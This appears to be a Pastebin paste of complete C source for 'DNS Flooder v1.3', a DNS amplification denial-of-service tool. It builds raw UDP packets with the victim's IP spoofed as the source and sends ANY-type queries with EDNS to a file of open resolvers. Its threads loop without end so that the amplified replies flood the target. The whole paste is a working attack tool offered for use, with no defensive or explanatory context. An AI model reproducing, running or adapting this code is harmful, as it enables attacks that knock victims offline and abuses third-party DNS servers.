Guest User

DNS AMP

a guest
May 15th, 2014
7,151
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11.  
  12. #define MAX_PACKET_SIZE 8192
  13. #define PHI 0x9e3779b9
  14. #define PACKETS_PER_RESOLVER 5
  15.  
  16. static uint32_t Q[4096], c = 362436;
  17.  
  18. struct list
  19. {
  20. struct sockaddr_in data;
  21. char domain[256];
  22. int line;
  23. struct list *next;
  24. struct list *prev;
  25. };
  26. struct list *head;
  27.  
  28. struct thread_data{
  29. int thread_id;
  30. struct list *list_node;
  31. struct sockaddr_in sin;
  32. int port;
  33. };
  34.  
  35. struct DNS_HEADER
  36. {
  37. unsigned short id; // identification number
  38.  
  39. unsigned char rd :1; // recursion desired
  40. unsigned char tc :1; // truncated message
  41. unsigned char aa :1; // authoritive answer
  42. unsigned char opcode :4; // purpose of message
  43. unsigned char qr :1; // query/response flag
  44.  
  45. unsigned char rcode :4; // response code
  46. unsigned char cd :1; // checking disabled
  47. unsigned char ad :1; // authenticated data
  48. unsigned char z :1; // its z! reserved
  49. unsigned char ra :1; // recursion available
  50.  
  51. unsigned short q_count; // number of question entries
  52. unsigned short ans_count; // number of answer entries
  53. unsigned short auth_count; // number of authority entries
  54. unsigned short add_count; // number of resource entries
  55. };
  56.  
  57. //Constant sized fields of query structure
  58. struct QUESTION
  59. {
  60. unsigned short qtype;
  61. unsigned short qclass;
  62. };
  63.  
  64. //Constant sized fields of the resource record structure
  65. struct QUERY
  66. {
  67. unsigned char *name;
  68. struct QUESTION *ques;
  69. };
  70.  
  71. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  72. {
  73. int lock = 0 , i;
  74. strcat((char*)host,".");
  75.  
  76. for(i = 0 ; i < strlen((char*)host) ; i++)
  77. {
  78. if(host[i]=='.')
  79. {
  80. *dns++ = i-lock;
  81. for(;lock<i;lock++)
  82. {
  83. *dns++=host[lock];
  84. }
  85. lock++; //or lock=i+1;
  86. }
  87. }
  88. *dns++='\0';
  89. }
  90.  
  91. void init_rand(uint32_t x)
  92. {
  93. int i;
  94.  
  95. Q[0] = x;
  96. Q[1] = x + PHI;
  97. Q[2] = x + PHI + PHI;
  98.  
  99. for (i = 3; i < 4096; i++)
  100. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  101. }
  102.  
  103. uint32_t rand_cmwc(void)
  104. {
  105. uint64_t t, a = 18782LL;
  106. static uint32_t i = 4095;
  107. uint32_t x, r = 0xfffffffe;
  108. i = (i + 1) & 4095;
  109. t = a * Q[i] + c;
  110. c = (t >> 32);
  111. x = t + c;
  112. if (x < c) {
  113. x++;
  114. c++;
  115. }
  116. return (Q[i] = r - x);
  117. }
  118.  
  119. /* function for header checksums */
  120. unsigned short csum (unsigned short *buf, int nwords)
  121. {
  122. unsigned long sum;
  123. for (sum = 0; nwords > 0; nwords--)
  124. sum += *buf++;
  125. sum = (sum >> 16) + (sum & 0xffff);
  126. sum += (sum >> 16);
  127. return (unsigned short)(~sum);
  128. }
  129.  
  130. void setup_udp_header(struct udphdr *udph)
  131. {
  132.  
  133. }
  134.  
  135. void *flood(void *par1)
  136. {
  137. struct thread_data *td = (struct thread_data *)par1;
  138.  
  139. fprintf(stdout, "Thread %d started\n", td->thread_id);
  140.  
  141. char strPacket[MAX_PACKET_SIZE];
  142. int iPayloadSize = 0;
  143.  
  144. struct sockaddr_in sin = td->sin;
  145. struct list *list_node = td->list_node;
  146. int iPort = td->port;
  147.  
  148. int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  149. if(s < 0)
  150. {
  151. fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  152. exit(-1);
  153. }
  154.  
  155. //init random
  156. init_rand(time(NULL));
  157.  
  158. // Clear the data
  159. memset(strPacket, 0, MAX_PACKET_SIZE);
  160.  
  161. // Make the packet
  162. struct iphdr *iph = (struct iphdr *) &strPacket;
  163. iph->ihl = 5;
  164. iph->version = 4;
  165. iph->tos = 0;
  166. iph->tot_len = sizeof(struct iphdr) + 38;
  167. iph->id = htonl(54321);
  168. iph->frag_off = 0;
  169. iph->ttl = MAXTTL;
  170. iph->protocol = IPPROTO_UDP;
  171. iph->check = 0;
  172. iph->saddr = inet_addr("192.168.3.100");
  173.  
  174. iPayloadSize += sizeof(struct iphdr);
  175.  
  176.  
  177. struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  178. udph->source = htons(iPort);
  179. udph->dest = htons(53);
  180. udph->check = 0;
  181.  
  182. iPayloadSize += sizeof(struct udphdr);
  183.  
  184. struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  185. dns->id = (unsigned short) htons(rand_cmwc());
  186. dns->qr = 0; //This is a query
  187. dns->opcode = 0; //This is a standard query
  188. dns->aa = 0; //Not Authoritative
  189. dns->tc = 0; //This message is not truncated
  190. dns->rd = 1; //Recursion Desired
  191. dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  192. dns->z = 0;
  193. dns->ad = 0;
  194. dns->cd = 0;
  195. dns->rcode = 0;
  196. dns->q_count = htons(1); //we have only 1 question
  197. dns->ans_count = 0;
  198. dns->auth_count = 0;
  199. dns->add_count = htons(1);
  200.  
  201. iPayloadSize += sizeof(struct DNS_HEADER);
  202.  
  203. sin.sin_port = udph->source;
  204. iph->saddr = sin.sin_addr.s_addr;
  205. iph->daddr = list_node->data.sin_addr.s_addr;
  206. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  207.  
  208.  
  209. char strDomain[256];
  210. int i;
  211. int iAdditionalSize = 0;
  212. while(1)
  213. {
  214. usleep(0);
  215. //set the next node
  216. list_node = list_node->next;
  217.  
  218. //Clear the old domain and question
  219. memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize);
  220.  
  221. //add the chosen domain and question
  222. iAdditionalSize = 0;
  223.  
  224. unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  225.  
  226. strcpy(strDomain, list_node->domain);
  227. ChangetoDnsNameFormat(qname, strDomain);
  228. //printf("!!%s %d\n", list_node->domain, list_node->line);
  229.  
  230. iAdditionalSize += strlen(qname) + 1;
  231.  
  232. struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  233. qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  234. qinfo->qclass = htons(1);
  235.  
  236. iAdditionalSize += sizeof(struct QUESTION);
  237.  
  238. void *edns = (void *) &strPacket[iPayloadSize + iAdditionalSize];
  239. memset(edns+2, 0x29, 1);
  240. memset(edns+3, 0x23, 1);
  241. memset(edns+4, 0x28, 1);
  242.  
  243.  
  244. iAdditionalSize += 11;
  245.  
  246. //set new node data
  247. iph->daddr = list_node->data.sin_addr.s_addr;
  248.  
  249. udph->len= htons((iPayloadSize + iAdditionalSize + 5) - sizeof(struct iphdr));
  250. iph->tot_len = iPayloadSize + iAdditionalSize + 5;
  251.  
  252. udph->source = htons(rand_cmwc() & 0xFFFF);
  253. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  254.  
  255. //send
  256. for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  257. {
  258. sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  259. }
  260. }
  261. }
  262.  
  263. void ParseResolverLine(char *strLine, int iLine)
  264. {
  265. char caIP[32] = "";
  266. char caDNS[512] = "";
  267.  
  268. int i;
  269. char buffer[512] = "";
  270.  
  271. int moved = 0;
  272.  
  273. for(i = 0; i < strlen(strLine); i++)
  274. {
  275. if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  276. {
  277. moved++;
  278. continue;
  279. }
  280.  
  281. if(moved == 0)
  282. {
  283. caIP[strlen(caIP)] = (char) strLine[i];
  284. }
  285. else if(moved == 1)
  286. {
  287. caDNS[strlen(caDNS)] = (char) strLine[i];
  288. }
  289. }
  290.  
  291. //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  292.  
  293. if(head == NULL)
  294. {
  295. head = (struct list *)malloc(sizeof(struct list));
  296.  
  297. bzero(&head->data, sizeof(head->data));
  298.  
  299. head->data.sin_addr.s_addr=inet_addr(caIP);
  300. head->data.sin_port=htons(53);
  301. strcpy(head->domain, caDNS);
  302. head->line = iLine;
  303. head->next = head;
  304. head->prev = head;
  305. }
  306. else
  307. {
  308. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  309.  
  310. memset(new_node, 0x00, sizeof(struct list));
  311.  
  312. new_node->data.sin_addr.s_addr=inet_addr(caIP);
  313. new_node->data.sin_port=htons(53);
  314. strcpy(new_node->domain, caDNS);
  315. new_node->prev = head;
  316. head->line = iLine;
  317. new_node->next = head->next;
  318. head->next = new_node;
  319. }
  320. }
  321.  
  322. int main(int argc, char *argv[ ])
  323. {
  324. if(argc < 4)
  325. {
  326. fprintf(stderr, "Invalid parameters!\n");
  327. fprintf(stdout, "DNS Flooder v1.3\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
  328. fprintf(stdout, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
  329. exit(-1);
  330. }
  331.  
  332. head = NULL;
  333.  
  334. char *strLine = (char *) malloc(256);
  335. strLine = memset(strLine, 0x00, 256);
  336.  
  337. char strIP[32] = "";
  338. char strDomain[256] = "";
  339.  
  340. int iLine = 0; // 0 = ip, 1 = domain.
  341.  
  342. FILE *list_fd = fopen(argv[3], "r");
  343. while(fgets(strLine, 256, list_fd) != NULL)
  344. {
  345. ParseResolverLine(strLine, iLine);
  346. iLine++;
  347. }
  348.  
  349.  
  350. int i = 0;
  351. int num_threads = atoi(argv[4]);
  352.  
  353. struct list *current = head->next;
  354. pthread_t thread[num_threads];
  355. struct sockaddr_in sin;
  356. sin.sin_family = AF_INET;
  357. sin.sin_port = htons(0);
  358. sin.sin_addr.s_addr = inet_addr(argv[1]);
  359. struct thread_data td[num_threads];
  360.  
  361. int iPort = atoi(argv[2]);
  362.  
  363. printf("Flooding %s\n", argv[1], iPort);
  364.  
  365. for(i = 0; i < num_threads; i++)
  366. {
  367. td[i].thread_id = i;
  368. td[i].sin= sin;
  369. td[i].list_node = current;
  370. td[i].port = iPort;
  371. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  372. }
  373.  
  374. fprintf(stdout, "Starting Flood...\n");
  375.  
  376. if(argc > 4)
  377. {
  378. sleep(atoi(argv[5]));
  379. }
  380. else
  381. {
  382. while(1)
  383. {
  384. sleep(1);
  385. }
  386. }
  387.  
  388. return 0;
  389. }
RAW Paste Data